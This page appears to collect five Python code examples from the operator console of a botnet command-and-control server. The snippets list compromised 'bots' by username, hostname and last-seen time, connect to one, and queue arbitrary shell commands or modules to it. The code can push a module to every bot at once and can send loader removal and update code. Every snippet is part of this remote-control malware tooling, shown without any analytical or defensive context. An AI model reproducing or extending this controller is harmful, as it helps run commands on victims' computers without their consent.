Esempio n. 1
0
    def _on_module_run(self, module_name: str, input_fields: list):
        """Handles running modules."""
        set_options = []

        for input_field in input_fields:
            set_options.append(input_field.text())

        module = modules.get_module(module_name)

        if not module:
            module = modules.load_module(module_name, self._module_view,
                                         self._model)

        successful, options = module.setup(set_options)

        if successful:
            if module_name == "remove_bot":
                code = loaders.get_remove_code(self._current_bot.loader_name)
            elif module_name == "update_bot":
                code = loaders.get_update_code(self._current_bot.loader_name)
            else:
                code = modules.get_code(module_name)

            if not options:
                options = {}

            options["module_name"] = module_name

            self._model.add_command(self._current_bot.uid,
                                    Command(CommandType.MODULE, code, options))

            self.display_info("Module added to the queue of:\n {}@{}".format(
                self._current_bot.username, self._current_bot.hostname))
Esempio n. 2
0
    def _run_module(self, module_name, mass_execute=False):
        """Setup then run the module, required because otherwise calls to prompt block the main thread."""
        if module_name in ["remove_bot", "update_bot"]:
            # Special modules.
            pass
        else:
            try:
                successful, options = modules.get_options(
                    module_name, self._view)

                if not successful:
                    self._view.output("Module setup failed or cancelled.",
                                      "attention")
                else:
                    if not options:
                        options = {}
                    options["module_name"] = module_name

                    if mass_execute:
                        bots = self._model.get_bots()
                        code = modules.get_code(module_name)

                        for bot in bots:
                            self._model.add_command(
                                bot.uid,
                                Command(CommandType.MODULE, code, options))

                        self._view.output(
                            "Module added to the queue of {} bots.".format(
                                len(bots)))
                    else:
                        self._model.add_command(
                            self._connected_bot.uid,
                            Command(CommandType.MODULE,
                                    modules.get_code(module_name), options))

                        self._view.output(
                            "Module added to the queue of \"{}@{}\".".format(
                                self._connected_bot.username,
                                self._connected_bot.hostname), "info")
            except ImportError:
                self._view.output(
                    "Failed to find module: {}".format(module_name),
                    "attention")
                self._view.output(
                    "Type \"modules\" to get a list of available modules.",
                    "attention")
Esempio n. 3
0
    def _on_command_run(self, command_input: QLineEdit):
        """Handles running commands."""
        if command_input.text().strip() == "":
            return

        self._model.add_command(self._current_bot.uid, Command(CommandType.SHELL, command_input.text().encode()))

        command_input.clear()
        self.display_info("Command added to the queue of:\n {}@{}".format(
            self._current_bot.username, self._current_bot.hostname
        ))
Esempio n. 4
0
    def _process_command(self, command: str):
        """Processes command input."""
        if command.strip() == "":
            return

        self._view.output_separator()

        if command == "help":
            self._view.output(
                "Commands other than the ones listed below will be run on the connected "
                "bot as a shell command.", "info")
            self._view.output("help                 -  Show this help menu.")
            self._view.output(
                "bots                 -  Show the amount of available bots.")
            self._view.output(
                "connect <id>         -  Start interacting with the bot (required before using \"use\")."
            )
            self._view.output(
                "modules              -  Show a list of available modules.")
            self._view.output(
                "use <module_name>    -  Run the module on the connected bot.")
            self._view.output(
                "stop <module_name>   -  Ask the module to stop executing.")
            self._view.output(
                "setall <module_name> -  Set the module which will be run on every bot."
            )
            self._view.output(
                "stopall              -  Clear the globally set module.")
            self._view.output("clear                -  Clear the screen.")
            self._view.output(
                "exit/q/quit          -  Close the server and exit.")
        elif command.startswith("bots"):
            if command == "bots":
                bots = self._model.get_bots(limit=10)

                if not bots:
                    self._view.output("There are no available bots.",
                                      "attention")
                else:
                    self._view.output(
                        "No page specified, showing the first page.", "info")
                    self._view.output(
                        "Use \"bots <page>\" to see a different page (each page is 10 results).",
                        "info")

                    for i, bot in enumerate(self._model.get_bots(limit=10)):
                        self._view.output(
                            "{} = \"{}@{}\" (last seen: {})".format(
                                str(i), bot.username, bot.hostname,
                                strftime("%a, %b %d @ %H:%M:%S",
                                         localtime(bot.last_online))))
            else:
                try:
                    # Show the bots of the given "page".
                    page_number = int(command.split(" ")[1])

                    if page_number <= 0:
                        page_number = 1

                    skip_amount = (page_number * 10) - 10
                    bots = self._model.get_bots(limit=10,
                                                skip_amount=skip_amount)

                    if not bots:
                        self._view.output(
                            "There are no available bots on this page.",
                            "attention")
                    else:
                        self._view.output(
                            "Showing bots on page {}.".format(page_number),
                            "info")

                        for i, bot in enumerate(bots):
                            self._view.output(
                                "{} = \"{}@{}\" (last seen: {})".format(
                                    str(i), bot.username, bot.hostname,
                                    strftime("%a, %b %d @ %H:%M:%S",
                                             localtime(bot.last_online))))
                except ValueError:
                    self._view.output("Invalid page number.", "attention")
        elif command.startswith("connect"):
            try:
                specified_id = int(command.split(" ")[1])
                self._connected_bot = self._model.get_bots()[specified_id]

                self._view.output(
                    "Connected to \"%s@%s\", ready to send commands." %
                    (self._connected_bot.username,
                     self._connected_bot.hostname), "info")
                self._view.set_footer_text("Command ({}@{}, {}): ".format(
                    self._connected_bot.username, self._connected_bot.hostname,
                    self._connected_bot.local_path))
            except (IndexError, ValueError):
                self._view.output("Invalid bot ID (see \"bots\").",
                                  "attention")
                self._view.output("Usage: connect <ID>", "attention")
        elif command == "modules":
            self._view.output("Type \"use <module_name>\" to use a module.",
                              "info")

            for module_name in modules.get_names():
                try:
                    module = modules.get_module(module_name)

                    if not module:
                        module = modules.load_module(module_name, self._view,
                                                     self._model)

                    self._view.output("{:16} -  {}".format(
                        module_name,
                        module.get_info()["Description"]))
                except AttributeError as ex:
                    self._view.output(str(ex), "attention")
        elif command.startswith("useall"):
            if command == "useall":
                self._view.output("Usage: useall <module_name>", "attention")
                self._view.output(
                    "Type \"modules\" to get a list of available modules.",
                    "attention")
            else:
                module_name = command.split(" ")[1]

                module_thread = Thread(target=self._run_module,
                                       args=(module_name, True))
                module_thread.daemon = True
                module_thread.start()
        elif command == "clear":
            self._view.clear()
        elif command in ["exit", "q", "quit"]:
            raise ExitMainLoop()
        else:
            # Commands that require a connected bot.
            if not self._connected_bot:
                self._view.output(
                    "You must be connected to a bot to perform this action.",
                    "attention")
                self._view.output("Type \"connect <ID>\" to connect to a bot.",
                                  "attention")
            else:
                if command.startswith("use"):
                    if command == "use":
                        self._view.output("Usage: use <module_name>",
                                          "attention")
                        self._view.output(
                            "Type \"modules\" to get a list of available modules.",
                            "attention")
                    else:
                        module_name = command.split(" ")[1]

                        module_thread = Thread(target=self._run_module,
                                               args=(module_name, ))
                        module_thread.daemon = True
                        module_thread.start()
                else:
                    # Regular shell command.
                    self._view.output("Executing command: {}".format(command),
                                      "info")
                    self._model.add_command(
                        self._connected_bot.uid,
                        Command(CommandType.SHELL, command.encode()))
Esempio n. 5
0
    def _run_module(self, module_name, mass_execute=False):
        """Setup then run the module, required because otherwise calls to prompt block the main thread."""
        try:
            module = modules.get_module(module_name)
            code = ("", b"")

            if not module:
                module = modules.load_module(module_name, self._view,
                                             self._model)

            successful, options = module.setup()

            if not successful:
                self._view.output("Module setup failed or cancelled.",
                                  "attention")
            else:
                if not options:
                    options = {}

                options["module_name"] = module_name

                if mass_execute:
                    bots = self._model.get_bots()

                    for bot in bots:
                        if module_name == "remove_bot":
                            if code[0] != bot.loader_name:
                                code = (bot.loader_name,
                                        loaders.get_remove_code(
                                            bot.loader_name))
                        elif module_name == "update_bot":
                            if code[0] != bot.loader_name:
                                code = (bot.loader_name,
                                        loaders.get_update_code(
                                            bot.loader_name))
                        else:
                            if not code[0]:
                                code = modules.get_code(module_name)

                        self._model.add_command(
                            bot.uid,
                            Command(CommandType.MODULE, code[1], options))

                    self._view.output(
                        "Module added to the queue of {} bots.".format(
                            len(bots)))
                else:
                    if module_name == "remove_bot":
                        code = loaders.get_remove_code(
                            self._connected_bot.loader_name)
                    elif module_name == "update_bot":
                        code = loaders.get_update_code(
                            self._connected_bot.loader_name)
                    else:
                        code = modules.get_code(module_name)

                    self._model.add_command(
                        self._connected_bot.uid,
                        Command(CommandType.MODULE, code, options))

                    self._view.output(
                        "Module added to the queue of \"{}@{}\".".format(
                            self._connected_bot.username,
                            self._connected_bot.hostname), "info")
        except ImportError:
            self._view.output("Failed to find module: {}".format(module_name),
                              "attention")
            self._view.output(
                "Type \"modules\" to get a list of available modules.",
                "attention")